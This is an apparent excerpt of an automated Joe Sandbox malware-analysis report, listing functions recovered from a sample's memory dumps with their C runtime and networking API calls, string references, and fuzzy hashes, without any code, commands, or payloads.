_getptd.LIBCMT ref: 000001CFB93A31E7

Strings

MOC, xrefs: 000001CFB93A31B7
RCC, xrefs: 000001CFB93A31AF
csm, xrefs: 000001CFB93A31BF

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: d0c629851adb83669a1057044e1c73a61abea7eb16c4708499e842e3cc9a1464
Instruction ID: 715aa2e631a4bd4cdfee6c8eea9410f1a6b7fb2337599f63f46fa3fd2f2dfc41
Opcode Fuzzy Hash: d0c629851adb83669a1057044e1c73a61abea7eb16c4708499e842e3cc9a1464
Instruction Fuzzy Hash: C7F030341411448FF7557724C00ABE832BAAF29305F6D56BD9845861B3E7AC8E828763

Function 000001CFB9623538 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9623557

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

Part of subcall function 000001CFB961B1E4: _getptd.LIBCMT ref: 000001CFB961B1E8

_getptd.LIBCMT ref: 000001CFB9623569
_getptd.LIBCMT ref: 000001CFB9623577

Strings

csm, xrefs: 000001CFB962354F
RCC, xrefs: 000001CFB962353F
MOC, xrefs: 000001CFB9623547

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 8d659f9cf181ea6894d5fd2041ae1ae5554f48ed223342e65feff7cba86f97e8
Instruction ID: 141e07e3a170c475309c4cf990e2ec3ec78045ccbe3adeaa7eb9ef423355f31d
Opcode Fuzzy Hash: 8d659f9cf181ea6894d5fd2041ae1ae5554f48ed223342e65feff7cba86f97e8
Instruction Fuzzy Hash: E8F06535590282C7F7557B65C005BDC35B7E798B09F86A47E921842382C77DCF828A12

Function 000001CFB95C7255 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB95C7274

Part of subcall function 000001CFB95C6E91: _getptd.LIBCMT ref: 000001CFB95C6E9B

Part of subcall function 000001CFB95C69BD: malloc.LIBCMT ref: 000001CFB95C69E8

free.LIBCMT ref: 000001CFB95C72FF

Part of subcall function 000001CFB95C18D1: _errno.LIBCMT ref: 000001CFB95C18F1

_lock.LIBCMT ref: 000001CFB95C732F
free.LIBCMT ref: 000001CFB95C73D2
free.LIBCMT ref: 000001CFB95C73FE
_errno.LIBCMT ref: 000001CFB95C7403

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: fa3c888a0b64dc31fd6d50a7605defed2034a0cfb1504f517c669a6b37a44c87
Instruction ID: 38de4b16b10b222c523c67b7a85ab020810a82dea93692d5ffa55ff7a870e8b5
Opcode Fuzzy Hash: fa3c888a0b64dc31fd6d50a7605defed2034a0cfb1504f517c669a6b37a44c87
Instruction Fuzzy Hash: A651AC31698A848FF794AB68D581BE97BF6EB59300F10417DD849C3AA2DB24DE438742

Function 000001CFB939F330 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB939F34F

Part of subcall function 000001CFB939EF6C: _getptd.LIBCMT ref: 000001CFB939EF76

Part of subcall function 000001CFB939C020: malloc.LIBCMT ref: 000001CFB939C04B

free.LIBCMT ref: 000001CFB939F3DA

Part of subcall function 000001CFB9399030: _errno.LIBCMT ref: 000001CFB9399050

_lock.LIBCMT ref: 000001CFB939F40A
free.LIBCMT ref: 000001CFB939F4AD
free.LIBCMT ref: 000001CFB939F4D9
_errno.LIBCMT ref: 000001CFB939F4DE

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: d61b86b512d42a64d26f0cc6f2a9babad53696149dbf6f9fd76c06f3c4ff0c9d
Instruction ID: da0716b7bef316957649557ff8c49967023f91262b0d092133d65cdbc9fbc11b
Opcode Fuzzy Hash: d61b86b512d42a64d26f0cc6f2a9babad53696149dbf6f9fd76c06f3c4ff0c9d
Instruction Fuzzy Hash: F3519C30558A844EF750AB68D481BEA77EAEF88304F3C417DD85AC3292DB25DE438782

Function 000001CFB95B1261 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001CFB95B1296
malloc.LIBCMT ref: 000001CFB95B1302

Part of subcall function 000001CFB95C1911: _FF_MSGBANNER.LIBCMT ref: 000001CFB95C1941
Part of subcall function 000001CFB95C1911: _callnewh.LIBCMT ref: 000001CFB95C197F
Part of subcall function 000001CFB95C1911: _errno.LIBCMT ref: 000001CFB95C198A
Part of subcall function 000001CFB95C1911: _errno.LIBCMT ref: 000001CFB95C1995

free.LIBCMT ref: 000001CFB95B132B

Part of subcall function 000001CFB95C18D1: _errno.LIBCMT ref: 000001CFB95C18F1

Strings

d, xrefs: 000001CFB95B13D6
d, xrefs: 000001CFB95B13A2
d, xrefs: 000001CFB95B13AC

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$malloc$_callnewhfree
String ID: d$d$d
API String ID: 1789327305-1898527202
Opcode ID: bec0fa3781f216dc962bf1dcecdcf35b177b188f5bd9887f529aa035ee97c4f6
Instruction ID: 3201436e05ed4be90ea798d2cfc108c9c922ce32632fc3fbc481cde7b3d8ce2a
Opcode Fuzzy Hash: bec0fa3781f216dc962bf1dcecdcf35b177b188f5bd9887f529aa035ee97c4f6
Instruction Fuzzy Hash: C251F5B0458A598FEBD1DF18D088B957BF5FB18700F5581BAD80CCB26AEB70C9848F90

Function 000001CFB93917C0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001CFB93917F5
malloc.LIBCMT ref: 000001CFB9391861

Part of subcall function 000001CFB9399070: _FF_MSGBANNER.LIBCMT ref: 000001CFB93990A0
Part of subcall function 000001CFB9399070: RtlAllocateHeap.NTDLL ref: 000001CFB93990C5
Part of subcall function 000001CFB9399070: _callnewh.LIBCMT ref: 000001CFB93990DE
Part of subcall function 000001CFB9399070: _errno.LIBCMT ref: 000001CFB93990E9
Part of subcall function 000001CFB9399070: _errno.LIBCMT ref: 000001CFB93990F4

free.LIBCMT ref: 000001CFB939188A

Part of subcall function 000001CFB9399030: _errno.LIBCMT ref: 000001CFB9399050

Strings

d, xrefs: 000001CFB9391901
d, xrefs: 000001CFB9391935
d, xrefs: 000001CFB939190B

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$malloc$AllocateHeap_callnewhfree
String ID: d$d$d
API String ID: 133375854-1898527202
Opcode ID: 1f798697604a03fc75b9b18e084cac3ea39fc0a6f99398ec1fcba1ef6a5bdc0e
Instruction ID: 90003b40735148ad321cbacb5f1303dfcdbff6045103a234a32647c96e0105a9
Opcode Fuzzy Hash: 1f798697604a03fc75b9b18e084cac3ea39fc0a6f99398ec1fcba1ef6a5bdc0e
Instruction Fuzzy Hash: 6A51D7B0414A598FEB90DF58C088B957BF5FB58700F6981BA981DDB26ADB70C944CFA0

Function 000001CFB9617784 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB96177A3

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

Part of subcall function 000001CFB96173C0: _getptd.LIBCMT ref: 000001CFB96173CA
Part of subcall function 000001CFB96173C0: _amsg_exit.LIBCMT ref: 000001CFB9617467

Part of subcall function 000001CFB961747C: GetOEMCP.KERNEL32 ref: 000001CFB96174A6

Part of subcall function 000001CFB9616EEC: malloc.LIBCMT ref: 000001CFB9616F17
Part of subcall function 000001CFB9616EEC: Sleep.KERNEL32 ref: 000001CFB9616F2A

free.LIBCMT ref: 000001CFB961782E

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

_lock.LIBCMT ref: 000001CFB961785E
free.LIBCMT ref: 000001CFB9617901
free.LIBCMT ref: 000001CFB961792D
_errno.LIBCMT ref: 000001CFB9617932

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: c68300e9c4ed9cf773f416173acfa5436c5f899a8b3552d1810b3d70258f5184
Instruction ID: c25528b4abcfa1a8d68f00031c5bfaacfd85eb72e3a441ac368d77571a1d041e
Opcode Fuzzy Hash: c68300e9c4ed9cf773f416173acfa5436c5f899a8b3552d1810b3d70258f5184
Instruction Fuzzy Hash: 6E51CF326846D286F7989B25D440BE977B3F780B94F54613EDA9A473A6CB38CE07C700

Function 000001CFB9601790 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001CFB96017C5
malloc.LIBCMT ref: 000001CFB9601831

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

free.LIBCMT ref: 000001CFB960185A

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

Strings

d, xrefs: 000001CFB96018DB
d, xrefs: 000001CFB96018D1
d, xrefs: 000001CFB9601904

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$Heapmalloc$AllocErrorFreeLast_callnewhfree
String ID: d$d$d
API String ID: 161857241-1898527202
Opcode ID: 67646a7dd6c968ecf2f44fcd8d8c0670da6240c8fc3f999a67afc5524764c4a7
Instruction ID: 281513a03e77f43f2d995ac76127665303ca9369a61bbd3c8527db88bb06a28b
Opcode Fuzzy Hash: 67646a7dd6c968ecf2f44fcd8d8c0670da6240c8fc3f999a67afc5524764c4a7
Instruction Fuzzy Hash: 3541F472112B91C5E7808F25E58038D3ABAF748F88F5A813ADB8847798EF74C955CB60

Function 000001CFB95CAB11 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000001CFB95CAB38

Part of subcall function 000001CFB95C4421: _set_error_mode.LIBCMT ref: 000001CFB95C442A
Part of subcall function 000001CFB95C4421: _set_error_mode.LIBCMT ref: 000001CFB95C4439

Part of subcall function 000001CFB95C41C1: _set_error_mode.LIBCMT ref: 000001CFB95C4206
Part of subcall function 000001CFB95C41C1: _set_error_mode.LIBCMT ref: 000001CFB95C4217

Part of subcall function 000001CFB95C69BD: malloc.LIBCMT ref: 000001CFB95C69E8

_errno.LIBCMT ref: 000001CFB95CAB7A
_lock.LIBCMT ref: 000001CFB95CAB8E
free.LIBCMT ref: 000001CFB95CABB1
_errno.LIBCMT ref: 000001CFB95CABB6

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: b51325237b74aa9e7445f28ecc4ae510949fb52723a3c6bcf1fe359266725097
Instruction ID: 9ddd9ad6b715aa74a9274bef6f0048fc43f523430a5d6291fa1fe28700e3bf72
Opcode Fuzzy Hash: b51325237b74aa9e7445f28ecc4ae510949fb52723a3c6bcf1fe359266725097
Instruction Fuzzy Hash: 092192321C8A898FF764AFA4D545BE976F3EB94304F11443DA00AC35D2DB78DE428741

Function 000001CFB939D8F0 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000001CFB939D917

Part of subcall function 000001CFB939A56C: _set_error_mode.LIBCMT ref: 000001CFB939A575
Part of subcall function 000001CFB939A56C: _set_error_mode.LIBCMT ref: 000001CFB939A584

Part of subcall function 000001CFB939A30C: _set_error_mode.LIBCMT ref: 000001CFB939A351
Part of subcall function 000001CFB939A30C: _set_error_mode.LIBCMT ref: 000001CFB939A362

Part of subcall function 000001CFB939C020: malloc.LIBCMT ref: 000001CFB939C04B

_errno.LIBCMT ref: 000001CFB939D959
_lock.LIBCMT ref: 000001CFB939D96D
free.LIBCMT ref: 000001CFB939D990
_errno.LIBCMT ref: 000001CFB939D995

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 99c55fd89446ed5a655e27bc626f276377e361e5d9c589b6ca3f3bf4f2833f14
Instruction ID: dd3ac4d33f015051b002a9ae930f15b0c08260a9d9864ab2da3500286079d328
Opcode Fuzzy Hash: 99c55fd89446ed5a655e27bc626f276377e361e5d9c589b6ca3f3bf4f2833f14
Instruction Fuzzy Hash: B3215E302946998BF764BB68D456BA973BAEF89300F6C443DA05BC31D2DB64CE428751

Function 000001CFB961ACFC Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000001CFB961AD15
WideCharToMultiByte.KERNEL32 ref: 000001CFB961AD6C
WideCharToMultiByte.KERNEL32 ref: 000001CFB961ADA7
free.LIBCMT ref: 000001CFB961ADB4
FreeEnvironmentStringsW.KERNEL32 ref: 000001CFB961ADBF
FreeEnvironmentStringsW.KERNEL32 ref: 000001CFB961ADCD

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: b836d934eec16e7e78ac168315cfa26f01e2ad9148ac4e656bdc2540d0e8e9dd
Instruction ID: 83529df84a4cc0bb8ec316fb3f97d34151b74a6657839e61873528fe1ffd9679
Opcode Fuzzy Hash: b836d934eec16e7e78ac168315cfa26f01e2ad9148ac4e656bdc2540d0e8e9dd
Instruction Fuzzy Hash: ED216D32A44BD586FB209F22E450B9977B7FB88BC1F495029DA8A47B54DF38CA52C704

Function 000001CFB9605320 Relevance: 9.1, APIs: 6, Instructions: 66synchronizationtimeCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32 ref: 000001CFB960533C
ResetEvent.KERNEL32 ref: 000001CFB9605349
timeGetTime.WINMM ref: 000001CFB960534F
WaitForSingleObject.KERNEL32 ref: 000001CFB96053A3
ResetEvent.KERNEL32 ref: 000001CFB96053C0

Part of subcall function 000001CFB9604D50: GetCurrentThreadId.KERNEL32 ref: 000001CFB9604D5D

ResetEvent.KERNEL32 ref: 000001CFB96053E7

Part of subcall function 000001CFB96122D0: _errno.LIBCMT ref: 000001CFB96122FB
Part of subcall function 000001CFB96122D0: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612306

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: EventReset$CurrentObjectSingleThreadTimeWait_errno_invalid_parameter_noinfotime
String ID:
API String ID: 2543248268-0
Opcode ID: 78e537520ed695ee5ae1225d7567b1703dce6c02efaa216bba7f739a809b494c
Instruction ID: bc06a053c50b6aaf45489feef3bca37e10ffece0adc82afa1dccc16a655e2656
Opcode Fuzzy Hash: 78e537520ed695ee5ae1225d7567b1703dce6c02efaa216bba7f739a809b494c
Instruction Fuzzy Hash: 6E215E36244BD186E740DF21E8807997372F784F94F18513ADE4987768DF78CA42C740

Function 000001CFB9604D50 Relevance: 9.1, APIs: 6, Instructions: 57networkthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CFB9604D5D

Part of subcall function 000001CFB9604130: SwitchToThread.KERNEL32 ref: 000001CFB960416E
Part of subcall function 000001CFB9604130: SetLastError.KERNEL32 ref: 000001CFB96041B5

send.WS2_32 ref: 000001CFB9604DA9
SetEvent.KERNEL32 ref: 000001CFB9604DC7
WSACloseEvent.WS2_32 ref: 000001CFB9604DDB
shutdown.WS2_32 ref: 000001CFB9604DF4
closesocket.WS2_32 ref: 000001CFB9604DFE

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: EventThread$CloseCurrentErrorLastSwitchclosesocketsendshutdown
String ID:
API String ID: 779811758-0
Opcode ID: 00e3de7fc8725f4b2d8cdc05c81e10fbf63856aeac18edff56d4f986a8fa95c7
Instruction ID: 9f41e05a1065f9e26491d2c3674555a48fd11a2a0e933ff84795919d568a9538
Opcode Fuzzy Hash: 00e3de7fc8725f4b2d8cdc05c81e10fbf63856aeac18edff56d4f986a8fa95c7
Instruction Fuzzy Hash: 3A21533124068286FB20AF25E4D0B983373FB88FA8F5442399A29476D9EF34CD86C740

Function 000001CFB9616868 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CFB9616872
FlsGetValue.KERNEL32 ref: 000001CFB9616880
SetLastError.KERNEL32 ref: 000001CFB96168D8

Part of subcall function 000001CFB9616F6C: Sleep.KERNEL32 ref: 000001CFB9616FB1

FlsSetValue.KERNEL32 ref: 000001CFB96168AC
free.LIBCMT ref: 000001CFB96168CF

Part of subcall function 000001CFB96167B0: _lock.LIBCMT ref: 000001CFB9616804
Part of subcall function 000001CFB96167B0: _lock.LIBCMT ref: 000001CFB9616823

GetCurrentThreadId.KERNEL32 ref: 000001CFB96168C0

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 465c1297e5f936002f31835874a9c435263bc14cb6033124fff1d9044e32e118
Instruction ID: cda21cb18543c39129c8dadc360c1e521fba290ab0d70d819301da1ca7c43737
Opcode Fuzzy Hash: 465c1297e5f936002f31835874a9c435263bc14cb6033124fff1d9044e32e118
Instruction Fuzzy Hash: 8D0184346417E782FB44AB65D454B9832B3BB68B64F18923DD926023C5EF3CCE478320

Function 000001CFB95CBFB5 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB95C20D5: _getptd.LIBCMT ref: 000001CFB95C20E7

_errno.LIBCMT ref: 000001CFB95CBFF6
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CC001
_errno.LIBCMT ref: 000001CFB95CC19E

Strings

$, xrefs: 000001CFB95CC09B
$, xrefs: 000001CFB95CC01B

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_invalid_parameter_noinfo
String ID: $$$
API String ID: 2372577547-233714265
Opcode ID: 6b5051b5bc1d557b7424b4656fcd09d6d4fddccb4a49d3db86b5a37965dede4a
Instruction ID: 5455111757687c610ff26506e72ba3cae4074c38b9ac6910bc21d5e1543eff22
Opcode Fuzzy Hash: 6b5051b5bc1d557b7424b4656fcd09d6d4fddccb4a49d3db86b5a37965dede4a
Instruction Fuzzy Hash: 0B8133338D8AD84AF77D5A19C985BF936F2E746710F24067DD8D3969C2DB24CE438241

Function 000001CFB95B1411 Relevance: 9.0, APIs: 7, Instructions: 259COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB95B1480
free.LIBCMT ref: 000001CFB95B14D0
free.LIBCMT ref: 000001CFB95B1520
free.LIBCMT ref: 000001CFB95B1570
free.LIBCMT ref: 000001CFB95B159B
free.LIBCMT ref: 000001CFB95B15BC

Part of subcall function 000001CFB95C18D1: _errno.LIBCMT ref: 000001CFB95C18F1

free.LIBCMT ref: 000001CFB95B15FA

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 2dee8eee062c467992d154c250ee21dc4d631f61e710adb1d4d32dddbb98b58a
Instruction ID: 77ec2b2872209d6b5aea5c3006318ef1a2ae3bd0db96b19b050d1da556857f8a
Opcode Fuzzy Hash: 2dee8eee062c467992d154c250ee21dc4d631f61e710adb1d4d32dddbb98b58a
Instruction Fuzzy Hash: 7D917871189A898FE795EF68C184BA9B7F1FF19304F1484ADD04EDB162CB31E982CB51

Function 000001CFB9391970 Relevance: 9.0, APIs: 7, Instructions: 259COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB93919DF
free.LIBCMT ref: 000001CFB9391A2F
free.LIBCMT ref: 000001CFB9391A7F
free.LIBCMT ref: 000001CFB9391ACF
free.LIBCMT ref: 000001CFB9391AFA
free.LIBCMT ref: 000001CFB9391B1B

Part of subcall function 000001CFB9399030: _errno.LIBCMT ref: 000001CFB9399050

free.LIBCMT ref: 000001CFB9391B59

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 19403980c4b82a5381c6d13ab520cf831e32148cf56f6c96db5af4a91658fc77
Instruction ID: 78be59cc4f1fc67115980f0a2640e5d95f3b1ab34242f539f5bff36ec4ca7b84
Opcode Fuzzy Hash: 19403980c4b82a5381c6d13ab520cf831e32148cf56f6c96db5af4a91658fc77
Instruction Fuzzy Hash: 6E913B70105A898FE795EFA8C095BA9B7F6FF19304F2844ADD04ADB152C771ED42CB41

Function 000001CFB93A3A50 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A3A81
_getptd.LIBCMT ref: 000001CFB93A3A9F
_CallSETranslator.LIBCMT ref: 000001CFB93A3AE7

Part of subcall function 000001CFB93A1CB4: _getptd.LIBCMT ref: 000001CFB93A1CDB

Strings

RCC, xrefs: 000001CFB93A3ABD
MOC, xrefs: 000001CFB93A3AB5

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: 71d4d7f3723b5425788edb4ff7159e0c2d35ca9445fe2397f069a4d9efb0fa2f
Instruction ID: 463925bc9867eb98e80f9a31a9887a460371d191e0acd4e4c41ce2ac0414e4b0
Opcode Fuzzy Hash: 71d4d7f3723b5425788edb4ff7159e0c2d35ca9445fe2397f069a4d9efb0fa2f
Instruction Fuzzy Hash: E071AF30158B898BF760EB58C405BE9B3E6FF81304F6C466ED445C3556DBB8EA52C782

Function 000001CFB9601940 Relevance: 8.9, APIs: 7, Instructions: 157COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB96019AF
free.LIBCMT ref: 000001CFB96019FF
free.LIBCMT ref: 000001CFB9601A4F
free.LIBCMT ref: 000001CFB9601A9F
free.LIBCMT ref: 000001CFB9601ACA
free.LIBCMT ref: 000001CFB9601AEB
free.LIBCMT ref: 000001CFB9601B29

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 36009230a0f1777ccfbb89fc56372207fae1e11fc8fa657492cdc956de2ed38c
Instruction ID: 802b6f97ed6a07c75d5c518f53d1258ae1d2cd26759f514887e9432a1eb7eec6
Opcode Fuzzy Hash: 36009230a0f1777ccfbb89fc56372207fae1e11fc8fa657492cdc956de2ed38c
